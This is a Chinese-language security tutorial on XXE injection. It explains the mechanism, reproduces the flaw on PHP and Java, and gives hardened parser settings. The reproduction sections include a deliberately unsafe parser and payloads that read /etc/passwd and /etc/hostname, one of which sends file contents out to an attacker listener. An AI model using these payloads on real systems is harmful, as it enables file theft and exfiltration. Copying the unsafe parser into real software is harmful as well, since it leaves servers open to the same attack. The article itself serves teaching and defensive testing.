导读:本期聚焦于小伙伴创作的《什么是XXE漏洞?XML注入攻击原理与渗透测试复现方法详解》,敬请观看详情。把外部实体引用写进XML文档后,解析器默认会去加载并回显本地或远程资源,这便是XXE漏洞的核心机理。许多Web接口直接接收客户端XML而未禁用实体扩展,攻击者可构造恶意payload读取服务器文件或发起内网请求。本文从DocumentBuilderFactory配置缺陷切入,对比开启与关闭外部实体解析的差异,给出使用PHP与Java环境的复现步骤,并说明如何在渗透测试中安全验证此类风险,最后列出禁用DOCTYPE与启用防护属性的具体编码方案。

XXE全称XML External Entity,即XML外部实体注入,是一种利用XML解析器对外部实体支持缺陷引发的安全问题。当应用程序接收用户可控的XML数据,并且底层解析库未禁用外部实体加载时,攻击者就能在XML中定义实体指向本地文件或远程地址,从而读取敏感信息或实施服务端请求伪造。理解该漏洞需要从XML规范中的实体机制和解析器默认行为说起。

什么是XXE漏洞?XML注入攻击原理与渗透测试复现方法详解

一、XXE漏洞底层原理

XML标准允许在文档类型定义(DTD)中声明实体,实体分为内部实体与外部实体。外部实体通过SYSTEM关键字引用URI资源,例如文件系统中的绝对路径或网络地址。大多数历史版本的解析器为了提高兼容性,默认开启了对外部实体的解析,这就埋下了隐患。当服务端代码将客户端传入的XML字符串直接交给解析器处理,且未设置防护属性,解析器便会自动发起资源读取。

从解析流程看,XML解析器在构建文档树之前会先处理DTD。如果DTD中存在外部实体定义,解析器会尝试获取该资源内容并替换到实体引用位置。若实体内容被回显到响应中,攻击者就能看到目标文件。即使不回显,也可借助外部带外通道(如HTTP请求)将文件内容发出去,这被称为盲注XXE。因此漏洞本质不是XML语言本身有问题,而是解析器配置不当与程序对输入缺乏限制。

1.1 典型危险配置

在Java生态中,javax.xml.parsers.DocumentBuilderFactory默认不禁用DOCTYPE,开发者若未显式调用setFeature关闭外部实体,就会暴露风险。下面代码展示了不安全的解析写法:

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class UnsafeParse {
    public Document parse(String xml) throws Exception {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        // 未禁用外部实体,存在XXE风险
        DocumentBuilder db = dbf.newDocumentBuilder();
        return db.parse(new ByteArrayInputStream(xml.getBytes("UTF-8")));
    }
}

上述代码在接收用户XML后直接解析,攻击者可传入包含<!ENTITY>的DTD读取/etc/passwd。相较之下,安全的做法是在工厂对象上设置两个关键Feature,从根本上拒绝外部实体加载。

二、漏洞复现环境搭建

为直观理解攻击过程,我们可以采用本地PHP环境与Java测试服务两种方式进行复现。PHP的SimpleXML或DOMDocument在旧版本中同样默认解析外部实体,适合快速验证。首先准备一个接收XML的脚本,将输入原样解析并输出节点内容。

假设服务地址为http://127.0.0.1/xxe.php,该脚本读取php://input作为XML字符串并用simplexml_load_string处理。我们在客户端构造如下payload,通过定义外部实体读取系统文件:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>

当服务端回显name节点时,便会泄露密码文件内容。若目标不回显,可把SYSTEM改为攻击者的HTTP服务地址,例如http://192.168.0.1:8080/collect?data=,并在实体中嵌套文件实体,实现盲注外带。Java侧复现只需将前面不安全解析代码暴露为接口,用相同XML POST即可。

2.1 盲注数据外带示例

盲注场景下,直接回显被禁用,但解析器仍会请求外部资源。我们可以让服务器先读取文件,再把内容拼进请求参数。示例如下:

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.0.1:8080/?x=%file;'>">
    %eval;
    %exfil;
]>
<foo>test</foo>

这段DTD利用参数实体嵌套,先读文件再发起请求。注意在XML中百分号实体需要正确转义,否则解析报错。实际渗透测试中应在授权范围内使用此类技术,并避免对生产系统造成拒绝服务。

三、渗透测试中的验证方法

在安全评估时,测试人员应先确认入口是否接受XML格式。常见线索包括Content-Type为application/xml、接口返回XML报文或报错提及DOM解析。确认后,可先发送基础XML探测解析是否成功,再逐步加入外部实体观察响应差异。

推荐采用带外检测平台或自建监听服务,因为直接回显并非总是存在。测试流程可归纳为:构造无实体正常包、构造读本地文件实体包、构造指向自有服务的盲注包。对比三个响应,若自有服务收到请求或响应包含文件片段,即可判定漏洞。下表列出不同语言解析器的默认风险与加固属性:

语言或库默认外部实体加固设置
PHP DOMDocument旧版开启libxml_disable_entity_loader(true)
Java DocumentBuilder开启setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
Python xml.etree不解析外部避免使用lxml默认配置

测试报告应明确标注利用条件与潜在影响,例如能读取哪些路径、是否可触达内网。同时附上修复建议,帮助开发团队闭环。

四、开发与防护最佳实践

从根本上消除XXE,首选方案是禁用DTD与DOCTYPE声明。Java中可同时开启disallow-doctype-decl与关闭外部通用实体、参数实体。完整安全解析代码如下:

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class SafeParse {
    public Document parse(String xml) throws Exception {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        dbf.setXIncludeAware(false);
        DocumentBuilder db = dbf.newDocumentBuilder();
        return db.parse(new ByteArrayInputStream(xml.getBytes("UTF-8")));
    }
}

除了代码层,输入校验也不可忽视。若业务无需XML,应改用JSON并严格校验字段。若必须使用XML,建议采用白名单模式限制节点名,并部署WAF规则拦截包含<!DOCTYPE>与SYSTEM的异常请求。多层防御能降低误配置带来的暴露面。

最后提醒,渗透测试与漏洞研究必须在合法授权下进行。掌握XXE原理不仅有助于攻击面验证,更能让开发人员在设计阶段规避解析器默认风险,构建更健壮的接口层。

XXEXML注入Web安全渗透修改时间:2026-08-08 13:06:45

免责声明:​ 已尽一切努力确保本网站所含信息的准确性。网站内容多为原创整理与精心编撰,观点力求客观中立。本站旨在免费分享,内容仅供个人学习、研究或参考使用。若引用了第三方作品,版权归原作者所有。如内容涉及您的权益,请联系我们处理。
内容垂直聚焦
专注技术核心技术栏目,确保每篇文章深度聚焦于实用技能。从代码技巧到架构设计,为用户提供无干扰的纯技术知识沉淀,精准满足专业提升需求。
知识结构清晰
覆盖从开发到部署的全链路。AI、前端、编程、数据库、服务器、建站、系统层层递进,构建清晰学习路径,帮助用户系统化掌握开发与运维所需的核心技术。
深度技术解析
拒绝泛泛而谈,深入技术细节与实践难点。无论是数据库优化还是服务器配置,均结合真实场景与代码示例进行剖析,致力于提供可直接应用于工作的解决方案。
专业领域覆盖
精准对应开发生命周期。从前端界面到后端编程,从数据库操作到服务器运维,形成完整闭环,一站式满足全栈工程师和运维人员的技术需求。
即学即用高效
内容强调实操性,步骤清晰、代码完整。用户可根据教程直接复现和应用于自身项目,显著缩短从学习到实践的距离,快速解决开发中的具体问题。
持续更新保障
专注既定技术方向进行长期、稳定的内容输出。确保各栏目技术文章持续更新迭代,紧跟主流技术发展趋势,为用户提供经久不衰的学习价值。